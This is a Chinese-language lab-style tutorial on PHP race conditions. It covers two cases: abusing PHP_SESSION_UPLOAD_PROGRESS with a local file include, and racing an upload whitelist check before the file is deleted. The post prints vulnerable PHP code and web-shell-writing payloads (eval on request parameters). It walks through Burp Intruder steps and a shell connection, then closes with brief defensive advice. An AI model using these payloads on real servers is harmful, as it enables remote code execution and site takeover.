深入解析条件竞争之文件上传和文件包含

条件竞争漏洞简介

条件竞争漏洞(Race Condition)是指在多线程或多进程环境中,多个操作的执行顺序未被正确控制,导致意外行为或安全问题。在 PHP 会话管理中,特别是在文件上传和会话数据处理过程中,可能会出现这样的漏洞。

文件包含之条件竞争

  1. 概念

    1. 通常一个session建立是会被session锁定机制进行锁住,防止多个并发请求同时修改session数据,这个漏洞的原理是利用了PHP_SESSION_UPLOAD_PROGRESS 特性,当 PHP 处理文件上传请求时,会短暂解锁会话文件,允许并发请求访问,攻击者利用这个窗口,发送包含恶意 PHP_SESSION_UPLOAD_PROGRESS 字段的请求来达到任意命令执行的目的
  2. 靶场介绍

    1. 网站

      网站:http://43.139.186.80/1.php
      <?php
      if (isset($_GET['file'])) {
          $file = $_GET['file'];
      //    $file = str_replace("php", "???", $file); 
          $file = str_replace("data", "???", $file); 
      //    $file = str_replace(":", "???", $file); 
          $file = str_replace(".", "???", $file); 
          include($file);
      } else {
          highlight_file(__FILE__);
      }
      ?>
      攻击者的网站:
      <!DOCTYPE html>
      <html>12
      <body>
      <form action="http://43.139.186.80/1.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd])?>')?>" />
      <input type="file" name="file" />
      <input type="submit" value="submit" />
      </form>
      </body>
      </html>
      <?php
      session_start();
      ?>
      //记得form表单更换为上面的为受害者网站,value值为执行函数,目的是在当前网站下创建一个新的木马shell.php
      
  3. 复现

    1. 攻击者在自己的网站中上传任意文件,捉包,放到攻击者模块

    2. 在数据包中添加cookie和session字段

    3. 攻击模块配置如下

    4. 在进行访问缓存文件的数据包,http://43.139.186.80/1.php?file=C:\phpstudy_pro\Extensions\tmp\tmp\sess_exp,路径可以在phpinfo中的session.save_path值中找到,名称是sess_+你刚才写的名称,捉包,攻击模块配置和上面一样

    5. 同时发包,看返回的数据长度,出现数值不同说明攻击成功

文件下载之条件竞争

  1. 概念

    1. 这个漏洞主要是利用代码的逻辑漏洞,比如说代码中将文件存入服务器中在检查文件是否违规,违规就删除,但是攻击者通过在服务器检查和删除操作的间隙中,再次生成木马就可以绕过了
  2. 代码审计

    1.   <?php
            header("Content-type: text/html;charset=utf-8");
            error_reporting(0);
            //设置上传目录
            define("UPLOAD_PATH", dirname(__FILE__) . "/upload/");
            define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH));
            if (!file_exists(UPLOAD_PATH)) {
                mkdir(UPLOAD_PATH, 0755);
            }
            $is_upload = false;
            if (!empty($_POST['submit'])) {
                $name = basename($_FILES['file']['name']);
                $ext = pathinfo($name)['extension'];
                $upload_file = UPLOAD_PATH . '/' . $name;
                $whitelist = array('jpg','png','gif','jpeg');
        //UPLOAD_PATH . $name这个函数不对,这个函数是直接将上传的文件上传到最终路径再进行检查,只需要将其改为$upload_file函数即可,这个函数是将其上传带临时文件目录下,通过才可以到最终目录
                if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
                    if(in_array($ext,$whitelist)){
                        $rename_file = rand(10, 99).date("YmdHis").".".$ext;
                        $img_path = UPLOAD_PATH . '/'. $rename_file;
                        rename($upload_file, $img_path);
                        $is_upload = true;
                    }else{
                        echo "<script>black();</script>";
                        unlink($upload_file);
                    }
                } 
            }
        ?>
      
  3. 复现流程:

    1. 上传1.php,捉包,改包

      1. 插入攻击语句

        1.   <?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
            //这个语句就是创建xiao.php,在在其里面写入木马
          
      2. 放入intruder模块中,配置如图

      3. 开始attack

    2. 在上传一个访问1.php的包,也就是执行刚才的数据包

      1. 捉包,放入intruder模块,配置如下,发包

      2. attack

    3. 在游览器中一直尝试看能不能连接上新生成的后门,即xiao.php

      1. 页面发生改变

      2. 蚁剑连接即可

总结

条件竞争漏洞在多线程或多进程环境中是一个常见的问题,特别是在文件上传和会话管理中。通过上述两个实际案例,我们可以清楚地看到条件竞争漏洞的危害及其利用方式。同时,了解这些漏洞的存在有助于开发者在编写代码时更加谨慎,从而避免类似的安全问题。防御措施包括对敏感操作进行锁定、增加检查步骤,以及对用户输入进行严格验证。希望本文能帮助读者更好地理解和防御条件竞争漏洞。

  • 18
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CongSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值